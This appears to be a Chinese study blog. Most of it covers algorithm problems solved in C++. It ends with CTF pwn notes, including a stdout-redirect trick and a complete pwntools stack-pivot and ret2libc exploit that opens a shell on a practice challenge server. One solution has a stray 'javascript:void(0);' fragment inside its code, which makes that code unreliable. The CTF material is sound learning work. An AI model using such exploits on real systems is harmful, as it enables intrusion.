规律很好找,主要是大数麻烦,当时用java的BigInteger做出来的,,,

思路巧妙地进行化简以及dp的思路

思路

image-20210323164718581

最后这步的化简是根据分数的取模得到的

image-20210323164754408

i层的和 = i-1层的和 + i*(2*i-1)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <bits/stdc++.h>
#define int long long
using namespace std;

const int N = 1e6+10;
const int mod = 998244353;
int a[N];
signed main(){
int t;
cin>>t;
for (int i = 1; i <= 1e6; ++i) {
a[i] = (a[i-1] + i*(2*i-1))%mod;
}
while(t--){
int n;
cin>>n;
cout<<a[n]<<endl;
}
return 0;
}

G 小凡做蛋糕

NC4判断链表中是否有环

这道题学到了很多,尤其是快慢指针的问题,第一次见到,有三种方法,,,,

解法1:快慢指针

貌似是个经典问题,使用快慢指针也是最简单的一种方法。

他的方法就是两个指针同时出发,慢指针一次走一步,快指针一次走两步,如果相遇的话就说明有环,否则说明没有环。

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Definition for singly-linked list.
* struct ListNode {
* int val;
* ListNode *next;
* ListNode(int x) : val(x), next(NULL) {}
* };
*/
class Solution {
public:
bool hasCycle(ListNode *head) {
if(head == nullptr){//直接返回的情况
return false;
}
ListNode* slow = head;//慢指针
ListNode* fast = head;//快指针
while(fast != nullptr && fast->next != nullptr){//还可以继续走
slow = slow->next;//慢指针走一步
fast = fast->next->next;//快指针走两步
if(slow == fast){//如果相遇了
return true;
}
}
return false;
}
};

解法2:存放到集合

集合set

这个方法比较简单,,,就是每次判断集合中是否有了元素,如果有了的话,就有环,如果没有的话,就加入到集合,,,继续判断。。。

1.是否包含某个元素
1
set.count("元素");
2.添加元素
1
set.insert("元素")

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <set>
class Solution {
public:
bool hasCycle(ListNode *head) {
set<ListNode*> set;
while(head != nullptr){
if(set.count(head)){
return true;
}
set.insert(head);
head = head->next;
}
return false;
}
};

解法3:逐个删除

这个方法也很有意思,,,,其实和set本质上有些类似,,,我感觉

他的方法是一个链表从头开始删除,删除的方法也很有意思,就是让他的next指针指向自己,,,,如果没有换的话,每次删除没有问题,,,如果有环的话,,,会发现想要删除的时候,发现next指针已经指向自己了。。。

图示:

图片说明

在第三的的next想要删除的时候,会发现1的next已经指向自己了,,,就判断出有环,,,

exp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* Definition for singly-linked list.
* struct ListNode {
* int val;
* ListNode *next;
* ListNode(int x) : val(x), next(NULL) {}
* };
*/
class Solution {
public:
bool hasCycle(ListNode *head) {
if(head == nullptr || head->next == nullptr){
return false;
}
if(head->next == head){
return true;
}
ListNode* nextNode = head->next;
head->next = head;
return hasCycle(nextNode);
}
};

NC7 股票(一次交易)

其本质是寻找上界和下界,但下界必须在上界之后。

所以就是最大最小值,但是找到一个最小值后,最大值要初始化,重新寻找这个最小值之后的最大值,这句很有意思。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
class Solution {
public:
/**
*
* @param prices int整型vector
* @return int整型
*/
int maxProfit(vector<int>& prices) {
int t_max=-1;
int t_min=prices[0];
int profit=0;
for(int i=0;i<prices.size();i++){
if(t_max < prices[i]){
t_max = prices[i];
}
if(t_min > prices[i]){
t_min = prices[i];
t_max=-1;//确保t_max是再t_min之后
}
profit=max(profit,t_max-t_min);
}
return profit;
}
};

NC13 二叉树的最大深度

emmm,使用递归方法解决。

1.如果当前root为nullptr了,那么为0层,直接返回

2.否则的话,分别从左节点和右节点深入下去,且层数加1

其实是个非常简单的递归

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/**
* struct TreeNode {
* int val;
* struct TreeNode *left;
* struct TreeNode *right;
* };
*/
class Solution {
public:
/**
*
* @param root TreeNode类
* @return int整型
*/
int maxDepth(TreeNode* root) {
if(!root)return 0;
return max(maxDepth(root->left),maxDepth(root->right))+1;
}
};

NC19 子数组的最大累加和的问题

求数组的最大累计和。。。

方法是动态规划。有点迷,只意会了,

image-20210414203852286

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
/**
* max sum of the subarray
* @param arr int整型vector the array
* @return int整型
*/
int maxsumofSubarray(vector<int>& arr) {
if(arr.size()==1) return arr[0];//确定的情况,直接返回结果

int ans=0;
for(int i=1;i<arr.size();i++){
arr[i]=max(arr[i],arr[i-1]+arr[i]);//求第i位的最大值
ans=max(ans,arr[i]);//求累计最大值
}
return ans;
}
};

NC22 合并两个有序的数组

将b数组合并到a中,,,其实很简单,但是这个代码非常简介,,,使用—

exp

1
2
3
4
5
6
7
8
9
10
11
12
class Solution {
public:
void merge(int A[], int m, int B[], int n) {
int i=m-1;
int j=n-1;
int index = m+n-1;
while(i>=0 && j>=0)
A[index--]=A[i]>B[j]?A[i--]:B[j--];
while(j>=0)
A[index--]=B[j--];
}
};

NC33 合并有序链表

一个重点是,,,一开始res必须初始化,否则别的添加不进来。

还有注意直接返回的简单情况,,,做优化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
/**
* struct ListNode {
* int val;
* struct ListNode *next;
* };
*/

class Solution {
public:
/**
*
* @param l1 ListNode类
* @param l2 ListNode类
* @return ListNode类
*/
ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) {
if(l1==nullptr) return l2;
if(l2==nullptr) return l1;
ListNode *res=new ListNode(-1);
ListNode *current=res;
while(l1!=nullptr && l2!=nullptr){
if(l1->val <= l2->val){
current->next = l1;
current=current->next;
l1=l1->next;
}else{
current->next = l2;
current=current->next;
l2=l2->next;
}
}
while(l1!=nullptr){
current->next = l1;
current=current->next;
l1=l1->next;
}
while(l2!=nullptr){
current->next = l2;javascript:void(0);
current=current->next;
l2=l2->next;
}
return res->next;
}
};

NC38 螺旋矩阵

这道题在之前校赛(蓝桥杯)的时候没又做出来,,,原来是个经典算法,tat

思路:

使用四个变量:up、r、down、l 来固定四个变,然后依次遍历,,,太容易弄错了,苦苦

vector

初始化大小并赋值

1
vector<int> a(10,1); //定义了10个整型元素的向量,且给出每个元素的初值为1

二维数组初始化:

1
vector<vector<int>> v = {{1,2,3},{4,5,6},{7,8,9}};

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Created by YCNN on 2021-03-20.
//
#include <iostream>
#include <vector>
using namespace std;
class Solution{
public:
vector<int> spiralOrder(vector<vector<int>> &matrix){
vector<int> res;
if(matrix.empty()){
return res;
}
int up=0,down=matrix.size()-1;
int l=0,r=matrix[0].size()-1;

while (1){
for (int i = l; i <= r ; ++i) res.push_back(matrix[up][i]);
if(++up > down) break;
for (int i = up; i <= down ; ++i) res.push_back(matrix[i][r]);
if(--r < l) break;
for (int i = r; i >= l ; --i) res.push_back(matrix[down][i]);
if(--down < up) break;
for (int i = down; i >= up ; --i) res.push_back(matrix[i][l]);
if(++l > r) break;
}
return res;
}
};

int main(){
vector<vector<int>> v = {{1,2,3},{4,5,6},{7,8,9}};
Solution s;
vector<int> ans = s.spiralOrder(v);
for (int i = 0; i < ans.size(); ++i) {
cout<<ans[i]<<" ";
}
return 0;
}

NC41 找到字符串的最长无重复字符子串

快速读入方法

一个静态方法,,,只要有就可以了。

实现空间换时间。

1
2
3
4
5
6
static const auto io_sync_off = []()
{
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
return nullptr;
}();

思路

题目解释:在一个int型数组中,找到一段连续的最大不重复的数组长度(这段数组连续)。

方法:

  1. 设置三个变量,i、j、res。

    i是这段的第一个

    j是这段的第二个

    res是长度值

  2. 因为不重复,,,结束就在两个重复的元素,一旦找到当前重复了,之前的长度就是这段的长度,就一段一段算。

例1:1 2 3 2 6数组,答案是3。

  • 起始地址初始为arr[0],即1,故一直循环到1 2 3 2,最大不重复数组长度为长度为3。这时候发现有重复,即开始这个和到现在指向的一段里面有重复元素,故将起始地址换为下一个;
  • 起始地址变为arr[1],即从2开始,2 3 2,发现又有重复,起始地址继续换为下一个。
  • 3 2 6到达数组尾端,长度为3
  • 故最大值,最后结果为3。

例2:1 2 1 2 6数组,答案是3。

  • 首先1 2 1,长度为2,重复
  • 然后2 1 2,长度为2,重复
  • 然后1 2 6,长度为3
  • 故最后取值最大为3。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static const auto io_sync_off = []()
{
std::ios::sync_with_stdio(false);
std::cin.tie(nullptr);
return nullptr;
}();
class Solution {
public:
/**
*
* @param arr int整型vector the array
* @return int整型
*/
int maxLength(vector<int>& arr) {
// write code here
if(arr.size()==0) return 0;

vector<int>v(100000);
int res=0,i=0,j=0;
while(j<arr.size()){
if(v[arr[j]]==0){
v[arr[j]]=1;
res=max(res,j-i+1);
j++;
}else{
v[arr[i]]=0;
i++;
}
}
return res;
}
};

NC45 实现二叉树先序,中序和后序遍历

树节点TreeNode

1
2
3
4
5
6
7
8
struct TreeNode {
int val;
struct TreeNode *left;
struct TreeNode *right;
TreeNode(int x) :
val(x), left(NULL), right(NULL) {
}
};

先序、中序、后序遍历

  • 先序:根、左节点、右节点
  • 中序:左节点、跟、右节点
  • 后序:左节点、右节点、跟

先序的代码:

1
2
3
4
5
6
7
void preorder(TreeNode* root){
if(root == nullptr)
return;
pre.push_back(root->val);
preorder(root->left);
preorder(root->right);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
//
// Created by YCNN on 2021-03-19.
//

#include <iostream>
#include <vector>
using namespace std;
struct TreeNode {
int val;
struct TreeNode *left;
struct TreeNode *right;
TreeNode(int x) :
val(x), left(NULL), right(NULL) {
}
};
class Solution {
public:
vector<int> pre,mid,post;
vector<vector<int> > threeOrders(TreeNode* root) {
vector<vector<int>> result;
if(root == nullptr) return result;
preorder(root);
midorder(root);
postorder(root);
result={pre,mid,post};
return result;
}
void preorder(TreeNode* root){
if(root == nullptr)
return;
pre.push_back(root->val);
preorder(root->left);
preorder(root->right);
}
void midorder(TreeNode* root){
if(root == nullptr)
return;
midorder(root->left);
mid.push_back(root->val);
midorder(root->right);
}
void postorder(TreeNode* root){
if(root == nullptr)
return;
postorder(root->left);
postorder(root->right);
post.push_back(root->val);
}
};

int main(){
TreeNode t1(1);
TreeNode t2(2);
TreeNode t3(3);

t1.left = &t2;
t1.right = &t3;

Solution s;
vector<vector<int>> v = s.threeOrders(&t1);
for (int i = 0; i < v.size(); ++i) {
for (int j = 0; j < v[0].size(); ++j) {
cout<<v[i][j]<<" ";
}cout<<endl;
}
}

NC52括号序列

eee,没错,,,熟悉的题目,,,以前做过的,,,然后又犯了同样的毛病

就是在stack里面没有的时候,查看栈顶数据和pop都会报错,,,,

题解里面有两个比较有意思的解法。

解法1:压栈和取栈

其实和我的思路一样,但是要简单一点,他是把能消除了消掉,不能消掉的就压栈,,,最后判断栈是否为空即可。

exp1

代码写的特别简洁,xifan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Solution {
public:
bool isValid(string s) {
// write code here
stack<char> c;
for(int i=0;i<s.length();i++){
if(c.empty()){
c.push(s[i]);
continue;
}
if(s[i]==')' && c.top()=='('){c.pop();}
else if(s[i]=='}' && c.top()=='{'){c.pop();}
else if(s[i]==']' && c.top()=='['){c.pop();}
else{c.push(s[i]);}
}
return c.empty();
}
};

解法2:字符替换

因为正常的字符串,,,,肯定有(){}[],可以逐步消,正是模拟这个过程,,,虽然代码很好看,,,但其实效率并不是很好,因为replace内部的实现需要线性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.util.*;
public class Solution {
public boolean isValid (String s) {
// write code here
boolean flag = true;
while(flag){
int len = s.length();
s = s.replace("()","");
s = s.replace("{}","");
s = s.replace("[]","");
if(len == s.length()){
flag = false;
}
}
return s.length() ==0;
}
}

注意:c++这么使用不好,,,,因为如果s.replace里面没有字符串,,,就报错了,,,,

my exp

写的比较烂,,,效率不高,但是勉强通过测试了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
class Solution {
public:
/**
*
* @param s string字符串
* @return bool布尔型
*/
bool isValid(string s) {
// write code here
bool bol = true;
stack<char> stack1;
for (int i = 0; i < s.length(); ++i) {
if(s[i] == '(' || s[i] == '{' ||s[i]=='['){
stack1.push(s[i]);
continue;
}
if(s[i] == ']'){
if(stack1.size() == 0){
bol = false;
break;
}
char c = stack1.top();
if(c == '['){
if(stack1.size() == 0){
bol = false;
break;
}
stack1.pop();
}else{
bol = false;
break;
}
}

if(s[i] == '}'){
if(stack1.size() == 0){
bol = false;
break;
}
char c = stack1.top();
if(c == '{'){
stack1.pop();
}else{
bol = false;
break;
}
}

if(s[i] == ')'){
if(stack1.size() == 0){
bol = false;
break;
}
char c = stack1.top();
if(c == '('){
stack1.pop();
}else{
bol = false;
break;
}
}
}
if(stack1.size()!=0){
return false;
}else{
return bol;
}
}
};

NC55 最长公共前缀

五种方法,,,

NC57 反转数字

看了答案,感觉很简单,tql。

就直接把结果加到res上,都不用考虑负数和溢出。。。

负数其实无所谓,但是溢出的话,可以同不会溢出的long和溢出的int比较大小是否相同判断是否溢出了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
/**
*
* @param x int整型
* @return int整型
*/
int reverse(int x) {
long res=0;//由于给定了长度,故long的话,不会溢出。
while(x!=0){
res = res*10+x%10;
x/=10;
}
return (int)res == res?(int)res:0;//根据long和int是否相等,就可以知道是否溢出了。
}
};

NC65 斐波那契数列

简单题,,,,感觉自己写的挺好的,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
class Solution {
public:
int Fibonacci(int n) {
int a[40];
a[0] = 1;
a[1] = 1;
for(int i=2;i<40;i++){
a[i] = a[i-1] + a[i-2];
}
return a[n-1];
}
};

NC66 两个链表的第一个公共结点

  1. 说的是公共结点而不是相同元素的结点,所以如图所示:

    image-20210414211616825

    2.a的长度不一定等于b的长度,为了让两个指针同步走,又因为a+b=b+a

    故前面增加另一个链表,如下图所示

    image-20210414211726549

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/*
struct ListNode {
int val;
struct ListNode *next;
ListNode(int x) :
val(x), next(NULL) {
}
};*/
class Solution {
public:
ListNode* FindFirstCommonNode( ListNode* pHead1, ListNode* pHead2) {
ListNode* ta=pHead1;
ListNode* tb=pHead2;
while(ta!=tb){//公共结点
ta=ta?ta->next:pHead2;//pHead1+pHead2
tb=tb?tb->next:pHead1;//pHead1+pHead1
}
return ta;//直接返回即可,一定有公共结点
}
};

NC68 跳台阶

有递归和循环(动态规划)两种解法,我写的是递归。

递归式:image-20210414170335614

动态规划

将过程的情况记录在dp数组中。

1
2
3
4
5
6
7
8
9
10
11
12
class Solution {
public:
int jumpFloor(int number) {
int dp[number+1];
dp[0]=1;
dp[1]=1;
for(int i=2;i<=number;i++){
dp[i]=dp[i-1]+dp[i-2];
}
return dp[number];
}
};

my exp(递归)

只要指定结束条件,然后公式,,,就行

1
2
3
4
5
6
7
8
class Solution {
public:
int jumpFloor(int number) {
if(number==1) return 1;
if(number==2) return 2;
return jumpFloor(number-1)+jumpFloor(number-2);
}
};

NC73 数组中出现次数超过一半的数字

emmm,感觉这题似曾相识,一开始直接排序取中值,然后不对,是因为这里硬性要求要个数大于一般,就模拟来做,做出来了。

题解就比较强了,给了三种方法,分别是哈希法、排序法、候选法。思路其实本质一样,只是实现的方法略有不同。

哈希法

使用map,他的键是数,值是出现的个数,先放进去,找到大于一半的

1
2
3
4
5
6
7
8
9
10
11
12
13
class Solution {
public:
int MoreThanHalfNum_Solution(vector<int> numbers) {
unordered_map<int,int> map;
for(const int k:numbers) ++map[k];
for(const int k:numbers){
if(map[k]>numbers.size()/2){
return k;
}
}
return 0;
}
};

排序法

排序好的中值一定是我们要找的数,然后判断他的长度即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
int MoreThanHalfNum_Solution(vector<int> numbers) {
sort(numbers.begin(),numbers.end());
int cond = numbers[numbers.size()/2];
int cnt=0;
for(const int k:numbers){
if(k == cond){
cnt++;
}
}
if(cnt > numbers.size()/2){
return cond;
}return 0;
}
};

候选法

很有意思的想法,因为选取的数,要大于一半。

所以让两两不同的消除,相同的保留,这样,最后能留下来的话就是答案,否则就没有。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Solution {
public:
int MoreThanHalfNum_Solution(vector<int> numbers) {
int cond = -1;//候选人,即选出来的值
int cnt = 0;

for(int i=0;i<numbers.size();i++){//循环的是下标
if(cnt == 0){//没有候选人
cond=numbers[i];//直接选取当前的作为候选人
cnt++;
}else{
if(cond == numbers[i])//如果还是候选人
cnt++;
else
cnt--;
}
}
cnt=0;
for(const int k:numbers){//循环的是数组里面的值,即候选人
if(k == cond)
cnt++;
}
if(cnt > numbers.size()/2)
return cond;
return 0;
}
};

my exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
int MoreThanHalfNum_Solution(vector<int> numbers) {
int arr[10]={0,0,0,0,0,0,0,0,0,0};
for(int i=0;i<numbers.size();i++){
arr[numbers[i]]++;
}
for(int i=0;i<10;i++){
if(arr[i]>numbers.size()/2){
return i;
}
}
return 0;
}
};

NC 76 用两个栈实现队列

简单,,,图示如下:

image-20210412140342164

思路

思路:

  1. push操作,还是正常的,stack1.push即可
  2. pop操作,首先要讲栈1的数据放入栈2中,然后从栈2中pop出来的数据,就可以了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution
{
public:
void push(int node) {
stack1.push(node);
}

int pop() {
if(stack2.empty()){
while(!stack1.empty()){
stack2.push(stack1.top());
stack1.pop();
}
}
int ans = stack2.top();
stack2.pop();
return ans;
}

private:
stack<int> stack1;
stack<int> stack2;
};

注意:不能直接讲pop后的值拿来赋值,我也不知道为什么,但事实上就是不好使,先top赋值,然后pop掉数。

NC78 反转链表

玄学,,,为什么我写的一直报错,,,,搞不懂啊,,,555,,,TATATAT

思路

反转链表,,,思路就是把每个节点存入一个向量vector中,他的类型是ListNode*的,然后就好了。。。

这里比较奇怪的一点是,要先给ans赋值v[v.size()-1],否则就会出现段错误,,,,搞不懂

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
//
// Created by YCNN on 2021-03-25.
//
#include <bits/stdc++.h>
using namespace std;

struct ListNode {
public:
int val;
struct ListNode *next;
ListNode(int x) :
val(x), next(NULL) {
}
};
class Solution {
public:
ListNode* ReverseList(ListNode* pHead) {
if(!pHead) return nullptr;
vector<ListNode*> v;
while(pHead!= nullptr){
v.push_back(pHead);
pHead = pHead->next;
}
ListNode* res = v[v.size()-1];
ListNode* current = res;
for (int i = v.size()-2; i >= 0 ; --i) {
current->next = v[i];
current = current->next;
}
current->next = nullptr;
return res;
}
};

int main(){
ListNode l1(1);
ListNode l2(2);
ListNode l3(3);
l1.next = &l2;
l2.next = &l3;

Solution s;
ListNode* ans = s.ReverseList(&l1);
while (ans!= nullptr){
cout<<ans->val<<endl;
ans = ans->next;
}
return 0;
}

NC82 滑动窗口的最大值

主要知道一下一点,就能比较方便的做出来

  • 滑动窗口的个数:int sz = num.size()-size+1;【简单的数学知识】

其他的就是正常的编程即可。

按给定大小对数组初始化

1
vector<int> v (sz,0);

可以看到其实vector使用的相对来说还是比较多的。

优化

虽然很简单,又很平常的语句,但是不加的话,一旦数据量比较大,那么运行很可能超时间,故一定要养成写的习惯。

1
if(size > num.size() || size ==0 ) return {};

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//
// Created by YCNN on 2021-03-20.
//
#include <iostream>
#include <vector>
using namespace std;
class Solution{
public:
vector<int> maxInWindows(const vector<int> & num,unsigned int size){
if(size > num.size() || size ==0 ) return {};
int sz = num.size()-size+1;
vector<int> v (sz,0);
for (int i = 0; i < sz; ++i) {
v[i] = num[i];
for (int j = i; j < i+size; ++j) {
if(v[i]<num[j]) v[i] = num[j];
}
}
return v;

}
};
int main(){
vector<int> v = {2,3,4,2,6,2,5,1};
Solution s;
vector<int> res = s.maxInWindows(v,3);
for (int i = 0; i < res.size(); ++i) {
cout<<res[i]<<" ";
}
return 0;
}

NC101 缺失数字

暴力循环写的,,,效率不好,,,

其他思路:

1.通过循环求和,最后通过公式n*(n+1)/2-sum,求得少的值

2.循环条件就是a[i]=i,否则就直接返回结课

额,不知道为啥效率都挺低的,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
* 找缺失数字
* @param a int整型vector 给定的数字串
* @return int整型
*/
int solve(vector<int>& a) {
int i=0;
while(i==a[i])i++;
return i;
}
};

my exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
* 找缺失数字
* @param a int整型vector 给定的数字串
* @return int整型
*/
int solve(vector<int>& a) {
// write code here
for(int i=0;i<a.size();i++){
if(a[i]!=i){
return i;
}
}
return a.size();
}
};

NC103 反转字符串

自我感觉良好,,,,哈哈哈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
/**
* 反转字符串
* @param str string字符串
* @return string字符串
*/
string solve(string str) {
// write code here
string rev;
for(int i=0;i<str.length();i++){
rev = str[i] + rev;
}
return rev;
}
};

NC105 二分查找-II

比较简单的题,,,思路我是对的,但是写的不好,,,。

一个点就在于这个排好序的序列里面可能有重复的元素,所以即使找到了,还要判断前面的数是不是还是答案,用循环即可解决。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
* 如果目标值存在返回下标,否则返回 -1
* @param nums int整型vector
* @param target int整型
* @return int整型
*/
int search(vector<int>& nums, int target) {
int l=0;
int r=nums.size()-1;
int mid=0;
while(l<=r){
mid=(l+r)/2;
if(nums[mid]==target){
while(nums[mid-1]==nums[mid]){
mid--;
}
return mid;
}else if(nums[mid]>target){
r=mid-1;
}else{
l=mid+1;
}
}
return -1;
}
};

NC107 寻找峰值

easy,自己写出来了,虽然有点周折

这里有个有意思的是,其实只要判断后面的比前一个大即可,因为这个条件失败往前走,后面的肯定比前面的小,而最后一个如果是峰值也算,故可行,,,

my exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution {
public:
/**
* 寻找最后的山峰
* @param a int整型一维数组
* @param aLen int a数组长度
* @return int整型
*/
int solve(int* a, int aLen) {
// write code here
if(a[aLen-1]>a[aLen-2]){//最后一位是峰值
return aLen-1;
}
//从后往前找
for(int i=aLen-2;i>0;i--){
if(a[i]>a[i-1] && a[i]>a[i+1]){
cout<<a[i];
return i;
}
}
return -1;
}
};

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Solution {
public:
/**
* 寻找最后的山峰
* @param a int整型一维数组
* @param aLen int a数组长度
* @return int整型
*/
int solve(int* a, int aLen) {
// write code here
if(a==nullptr || aLen==0){
return -1;
}
for(int i=aLen-1;i>=1;i--){
if(a[i]>=a[i-1]){
return i;
}
}
return -1;
}
};

NC141 判断回文

emmm,是一道简单题,,,但是我写的麻烦了点,就没有通过,,,,

my exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
* @param str string字符串 待判断的字符串
* @return bool布尔型
*/
bool judge(string str) {
// write code here
string rev;
int len = str.length();
for(int i=0;i<len/2;i++){
rev = str[i] + rev;
}

str = str.substr(len%2==0?len/2:len/2+1,len);
if(rev == str){
return true;
}return false;

}
};

right exp

1
2
3
4
5
6
7
8
9
10
class Solution {
public:
bool judge(string str) {
// write code here
for(int i=0;i<str.length()/2;i++){
if(str[i] != str[str.length()-1-i])
return false;
}return true;
}
};

NC143 矩阵乘法

思路比较简单:三层循环,,,,一个公式就出来了,,,

二维矩阵初始化

1
vector<vector<int>> res(a.size(),vector<int>(a.size(),0));

矩阵乘法

1
2
3
4
5
6
7
8
9
for (int i = 0; i < a.size(); ++i) {
for (int j = 0; j < a.size(); ++j) {
int t=0;
for (int k = 0; k < a.size(); ++k) {
t += a[i][k] * b[k][j];
}
res[i][j] = t;
}
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//
// Created by YCNN on 2021-03-20.
//

#include <iostream>
#include <vector>
using namespace std;
class Solution{
public:
vector<vector<int>> res(vector<vector<int>> &a,vector<vector<int>> &b){
vector<vector<int>> res(a.size(),vector<int>(a.size(),0));
for (int i = 0; i < a.size(); ++i) {
for (int j = 0; j < a.size(); ++j) {
int t=0;
for (int k = 0; k < a.size(); ++k) {
t += a[i][k] * b[k][j];
}
res[i][j] = t;
}
}
return res;
}
};
int main() {
vector<vector<int>> v = {{1,2},{3,2}};
vector<vector<int>> v2 = {{3,4},{2,1}};
Solution s;
vector<vector<int>> res = s.res(v,v2);
for (int i = 0; i < res.size(); ++i) {
for (int j = 0; j < res[0].size(); ++j) {
cout<<res[i][j]<<" ";
}cout<<endl;
}
return 0;
}

NC151 最大公约数

一个常用的求最大公约数的方法,记住他

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Solution {
public:
/**
* 代码中的类名、方法名、参数名已经指定,请勿修改,直接返回方法规定的值即可
*
* 求出a、b的最大公约数。
* @param a int
* @param b int
* @return int
*/
int gcd(int a, int b) {
// write code here
if(a%b==0)return b;
return gcd(b,a%b);
}
};

0ctf_2017_babyheap

单独写了篇文章,方法是fastbin attack

wustctf2020_closed

常用文件描述符

  • stdin:0
  • stdout:1
  • stderr:2

程序流程

关闭了输出流和错误流,然后直接给了shell,但是没有输出。

image-20210430210044168

方法:

stdout重定向

简单来说,既然stdout的文件描述符不可用,可以对stdout重定向,将文件描述符 stdout(1)重定向到可用文件描述符 stdin(0)

1
exec 1>&0

actf_2019_babystack

1
2
3
4
5
6
7
winter@ubuntu:~/buu$ checksec ACTF_2019_babystack
[*] '/home/winter/buu/ACTF_2019_babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

actf_2019_babystack

吐了,,,思路一样,不对

程序流程

最多可以输入0xe0个字节,但是s在rbp-0xd0。

故最多可以溢出rbp和返回地址,所以需要栈迁移。

程序给了栈地址,直接在栈上布置即可。

  • rbp:fake stack

  • ret:leave_ret

image-20210501162717088

完整exp

自己不知道哪里错了,,,直接用师傅的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

#context.log_level = 'debug'

io = remote('node3.buuoj.cn',29408)
#io = process('./ACTF_2019_babystack')
#io = process('./idaidg/linux_server64')
elf = ELF('./ACTF_2019_babystack')

libc = ELF('./libc-2.27.so')

pop_rdi = 0x400ad3
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
start = 0x4008f6
leave = 0x400a18
ret = 0x400a4f

io.recvuntil("How many bytes of your message?")
io.sendline('224')

io.recvuntil("Your message will be saved at ")
addr = io.recv()[:14]
addr = int(addr,16)
print hex(addr)

payload = 'a'* 8
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(start)
payload = payload.ljust(0xd0,'a')
payload += p64(addr)
payload += p64(leave)

io.send(payload)
puts_addr = io.recvuntil('\x7f')[-6:]
puts_addr = puts_addr.ljust(8,'\x00')
print hex(u64(puts_addr))
libcbase = u64(puts_addr) - libc.symbols['puts']
system = libcbase + libc.symbols['system']
binsh = libcbase + libc.search('/bin/sh').next()

io.recvuntil("How many bytes of your message?")
io.sendline('224')
io.recvuntil("Your message will be saved at ")
addr = io.recv()[:14]
addr = int(addr,16)
print hex(addr)

payload = 'a'* 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
payload = payload.ljust(0xd0,'a')
payload += p64(addr)
payload += p64(leave)

io.sendline(payload)

io.interactive()

picoctf_2018_shellcode

最简单的ret2shellcode题,把shellcode发过去就行。。。

难点

唯一的难点应该在于main函数不能反汇编,得看汇编。

image-20210501164740595

image-20210501164752604

vuln函数就是输入再打印。

所以,程序流程就是输入数据,并且会直接改数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
